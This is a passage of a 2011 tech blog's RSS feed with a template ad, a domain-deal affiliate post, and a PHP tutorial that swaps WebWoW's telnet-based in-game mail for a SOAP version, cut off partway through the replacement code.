<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Abeon Tech &#187; PHP</title>
	<atom:link href="http://abeontech.com/tag/php/feed" rel="self" type="application/rss+xml" />
	<link>http://abeontech.com</link>
	<description>Abeon Techs Geeky blog for Coders, Gamers, Webmasters and Tech Addicts!</description>
	<lastBuildDate>Thu, 28 Jul 2011 18:50:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>CandyBlue AV Arcade Template</title>
		<link>http://abeontech.com/434-webdesign-candyblue-av-arcade-template</link>
		<comments>http://abeontech.com/434-webdesign-candyblue-av-arcade-template#comments</comments>
		<pubDate>Tue, 05 Jul 2011 20:59:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[AV Arcade]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://abeontech.com/?p=434</guid>
		<description><![CDATA[CandyBlue is a premium template for AV Arcade v5.x. Features: Professional layout Optimized advert intergration Full PSD Customized navigation menus Multi-language support Many small changes included Demo: www.abeon-arcade.com Order: https://www.abeon-hosting.com/billing/cart.php?gid=3]]></description>
			<content:encoded><![CDATA[<p><img src="http://i53.tinypic.com/2dwgrkl.jpg" alt="AV Arcade Template" /></p>
<p>CandyBlue is a premium template for AV Arcade v5.x.</p>
<p><strong>Features:</strong></p>
<ul>
<li>Professional layout</li>
<li>Optimized advert intergration</li>
<li>Full PSD</li>
<li>Customized navigation menus</li>
<li>Multi-language support</li>
<li>Many small changes included</li>
</ul>
<p><strong>Demo:</strong><br />
<a title="Abeon Arcade" href="http://abeon-arcade.com/" target="_blank">www.abeon-arcade.com</a></p>
<p><strong>Order:</strong><br />
<a title="Order AV Arcade Template" href="https://www.abeon-hosting.com/billing/cart.php?gid=3" target="_blank">https://www.abeon-hosting.com/billing/cart.php?gid=3</a></p>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/434-webdesign-candyblue-av-arcade-template/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Domain Deals</title>
		<link>http://abeontech.com/428-webdesign-domain-deals</link>
		<comments>http://abeontech.com/428-webdesign-domain-deals#comments</comments>
		<pubDate>Thu, 27 Jan 2011 23:07:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mixed]]></category>
		<category><![CDATA[Web Design]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Web 2.0]]></category>

		<guid isPermaLink="false">http://abeontech.com/?p=428</guid>
		<description><![CDATA[If you want a website you need a domain name&#8230; Unless you want people to enter something like 255.255.255.255 to visit your site. I&#8217;ll keep this short and sweet. Get free Positive SSL and free Whois Guard with every domain name you register! With the added bonus of the cheapest rates about, you can&#8217;t complain! [...]]]></description>
			<content:encoded><![CDATA[<p>If you want a website you need a domain name&#8230; Unless you want people to enter something like 255.255.255.255 to visit your site.</p>
<p>I&#8217;ll keep this short and sweet.<br />
Get free Positive SSL and free Whois Guard with every domain name you register!<br />
With the added bonus of the cheapest rates about, you can&#8217;t complain!<span id="more-428"></span></p>
<p>I have used many different domain companies over the years I&#8217;ve been into programming and to be honest they are all pretty much the same apart from price. Some provide bad support, but as a whole there all equal.</p>
<p>So getting free stuff included like a <strong>free Positive SSL certificate</strong> and <strong>free Whois Guard</strong> with every domain name you register is a nice bonus!</p>
<p style="padding-left: 30px;">.info &#8211; $2.99/yr &#038;nbsp (<strong style="color: #ff9900;font-size:0.8em">Limited Time Only!</strong>)<br />
.com &#8211; $9.98/yr<br />
.net &#8211; $9.98/yr<br />
.org &#8211; $8.88/yr<br />
.mobi &#8211; $7.99/yr<br />
.biz &#8211; $9.69/yr</p>
<p style="text-align: center;"><a href="http://bit.ly/namecheapdeals">Name Cheap</a><br />
<a href="http://bit.ly/namecheapdeals"><img class="aligncenter" src="http://files.namecheap.com/graphics/linkus/468x60-3.gif" border="0" alt="Free PositiveSSL and WhoisGuard with Every Domain Purchase" width="468" height="60" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/428-webdesign-domain-deals/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WebWoW In-game mail using SOAP</title>
		<link>http://abeontech.com/426-webdesign-webwow-in-game-mail-using-soap-ra-replacement</link>
		<comments>http://abeontech.com/426-webdesign-webwow-in-game-mail-using-soap-ra-replacement#comments</comments>
		<pubDate>Wed, 19 Jan 2011 09:42:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Mod]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://abeontech.com/?p=426</guid>
		<description><![CDATA[This little mod will replace WebWoWs RA (telnet) mail with Mangos' SOAP version.
This will replace both the admins "send mail" and users "vote shop" pages.]]></description>
			<content:encoded><![CDATA[<p>This little modification will replace <a href="http://www.web-wow.net/">WebWoWs&#8217;</a> RA mail system (Remote Access which uses telnet) with a fully <a href="http://en.wikipedia.org/wiki/SOAP">SOAP</a> compatible version.<br />
This will replace both the admins &#8220;send mail&#8221; and users &#8220;vote shop&#8221; features.<span id="more-426"></span></p>
<p>I have recently switched back to version 3.6.3 of the WebWoW <abbr title="Content Management System">CMS</abbr> (using the web creator v1) as the latest version just doesn&#8217;t seem ready yet.</p>
<p>I had problems sending in-game mail with the older version of WebWoW as I had disabled Remote Access in Mangos as the port being opened didn&#8217;t seem necessary.</p>
<p>I didn&#8217;t like the way telnet was forced instead of a web interface, so I replaced the telnet mail system.</p>
<p>The only error I saw was &#8220;Remote Login Problem:&#8221;, apparently caused by incorrect settings. I knew the problem was remote access so I patched the system to use SOAP.</p>
<p>I have edited the mail system in WebWoW so it can be used to send anything including money, items, support tickets, <a href="http://www.nextdayflyers.com/postcard-printing-marketing/">postcards</a>, and more. So getting it working was top of my list of things to do!</p>
<p>Below is how to get it working:</p>
<p><strong>1 &#8211; Enable SOAP in your mangosd.conf file.</strong></p>
<p><strong>2 &#8211; Open:</strong><br />
includes/core/mangos_sendmail.php</p>
<p><strong>3 &#8211; Replace:</strong><br />
The  sendmail function, below:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;height:250px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> sendmail<span style="color: #009900;">&#40;</span><span style="color: #000088;">$playername</span><span style="color: #339933;">,</span><span style="color: #000088;">$playerguid</span><span style="color: #339933;">,</span> <span style="color: #000088;">$subject</span><span style="color: #339933;">,</span> <span style="color: #000088;">$text</span><span style="color: #339933;">,</span> <span style="color: #000088;">$item</span><span style="color: #339933;">,</span> <span style="color: #000088;">$shopid</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> &nbsp;<span style="color: #000088;">$money</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$realmid</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'1'</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">//returns, IMPORTANT: do not remove &lt;!-- success --&gt; if success</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$server</span><span style="color: #339933;">,</span><span style="color: #000088;">$ra_user</span><span style="color: #339933;">,</span><span style="color: #000088;">$ra_pass</span><span style="color: #339933;">,</span><span style="color: #000088;">$db</span><span style="color: #339933;">,</span><span style="color: #000088;">$a_user</span><span style="color: #339933;">,</span><span style="color: #000088;">$se_c</span><span style="color: #339933;">,</span><span style="color: #000088;">$realm</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$playername</span> <span style="color: #339933;">=</span> clean_string<span style="color: #009900;">&#40;</span><span style="color: #000088;">$playername</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$subject</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;/[^A-Za-z0-9]/&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> clean_string<span style="color: #009900;">&#40;</span><span style="color: #000088;">$subject</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//no whitespaces</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$item</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;/[^0-9]/&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$item</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//item id</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$realmid</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;/[^0-9]/&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$realmid</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//item id</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$item</span><span style="color: #339933;">&lt;&gt;</span><span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$item</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$item</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$text</span> <span style="color: #339933;">=</span> clean_string<span style="color: #009900;">&#40;</span><span style="color: #000088;">$text</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$money</span><span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;/[^0-9]/&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$money</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #000088;">$telnet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fsockopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$server</span><span style="color: #339933;">,</span> <span style="color: #000088;">$realm</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$realmid</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'port_ra'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$error</span><span style="color: #339933;">,</span> <span style="color: #000088;">$error_str</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$telnet</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #990000;">fgets</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$telnet</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// Motd</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #990000;">fputs</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$telnet</span><span style="color: #339933;">,</span> <span style="color: #000088;">$ra_user</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #990000;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//fgets($telnet,1024); // PASS</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #990000;">fputs</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$telnet</span><span style="color: #339933;">,</span> <span style="color: #000088;">$ra_pass</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #990000;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$remote_login</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fgets</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$telnet</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">strstr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$remote_login</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;Logged in.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$item</span><span style="color: #339933;">&lt;&gt;</span><span style="color: #0000ff;">''</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$item</span><span style="color: #339933;">&lt;&gt;</span><span style="color: #0000ff;">'0'</span><span style="color: #009900;">&#41;</span><span style="color: #666666; font-style: italic;">//send item</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//sendmail to RA console</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #990000;">fputs</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$telnet</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;.send items &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$playername</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; <span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$subject</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span> <span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$text</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$item</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$easf</span><span style="color: #339933;">=</span><span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$mailtext</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;Mail with item sent! No money was sent.&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$money</span><span style="color: #339933;">&gt;</span><span style="color: #0000ff;">'0'</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$money</span><span style="color: #339933;">&lt;&gt;</span><span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span><span style="color: #666666; font-style: italic;">//send money</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #990000;">fputs</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$telnet</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;.send money &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$playername</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; <span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$subject</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span> <span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$text</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span> &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$money</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$moneytext</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;Mail with money sent! No item was sent.&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span> <span style="color: #666666; font-style: italic;">//send letter</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #990000;">fputs</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$telnet</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;.send mail &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$playername</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; <span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$subject</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span> <span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$text</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$moneytext</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;Normal Mail sent!&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//check database if actuall item is there</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//WebsiteVoteShopREFXXXXXXX -&gt;this is unique</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$check</span><span style="color: #339933;">=</span><span style="color: #000088;">$db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM mail WHERE receiver = '&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$playerguid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;' AND subject ='&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$subject</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;' LIMIT 1&quot;</span><span style="color: #009900;">&#41;</span>or <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">mysql_error</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">mysql_num_rows</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$check</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">'0'</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$status</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;Recheck script (just to make sure mail is actually sent):&lt;br&gt;&lt;br&gt;&lt;center&gt;&lt;iframe style='width:96%; &nbsp;height:100px' src='./include/core/mangos_iframe_mailcheck.php?shopid=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$shopid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;reciver=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$playerguid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;subject=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$subject</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;realmid=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$realmid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;shash=&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">sha1</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a_user</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$playerguid</span><span style="color: #339933;">.</span><span style="color: #000088;">$subject</span><span style="color: #339933;">.</span><span style="color: #000088;">$se_c</span><span style="color: #339933;">.</span><span style="color: #000088;">$shopid</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;'&gt;&lt;a href='./include/core/mangos_iframe_mailcheck.php?shopid=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$shopid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;reciver=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$playerguid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;subject=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$subject</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;realmid=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$realmid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&amp;shash=&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">sha1</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a_user</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$playerguid</span><span style="color: #339933;">.</span><span style="color: #000088;">$subject</span><span style="color: #339933;">.</span><span style="color: #000088;">$se_c</span><span style="color: #339933;">.</span><span style="color: #000088;">$shopid</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;'&gt;Check here if your mail is here.&lt;/a&gt;&lt;/iframe&gt;&lt;/center&gt;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> &nbsp;<span style="color: #0000ff;">&quot;&lt;!-- success --&gt;&lt;span class=<span style="color: #000099; font-weight: bold;">\&quot;</span>colorgood<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mailtext</span><span style="color: #339933;">.</span><span style="color: #000088;">$moneytext</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br&gt;&lt;/span&gt;&lt;br&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$status</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> &nbsp;<span style="color: #0000ff;">&quot;&lt;span class=<span style="color: #000099; font-weight: bold;">\&quot;</span>colorbad<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;Remote Login Problem: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$remote_login</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;/span&gt;&lt;br&gt;Used login: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$ra_user</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$telnet</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> &nbsp;<span style="color: #0000ff;">&quot;&lt;span class=<span style="color: #000099; font-weight: bold;">\&quot;</span>colorbad<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;MaNGOS server is offline, you must do this when server is online.&lt;/span&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p><strong>4 &#8211; With</strong><br />
The following function:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;height:250px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> sendmail<span style="color: #009900;">&#40;</span><span style="color: #000088;">$playername</span><span style="color: #339933;">,</span><span style="color: #000088;">$playerguid</span><span style="color: #339933;">,</span> <span style="color: #000088;">$subject</span><span style="color: #339933;">,</span> <span style="color: #000088;">$text</span><span style="color: #339933;">,</span> <span style="color: #000088;">$item</span><span style="color: #339933;">,</span> <span style="color: #000088;">$shopid</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> &nbsp;<span style="color: #000088;">$money</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$realmid</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'1'</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">//returns, IMPORTANT: do not remove &lt;!-- success --&gt; if success</span><br />
<span style="color: #009900;">&#123;</span><br />
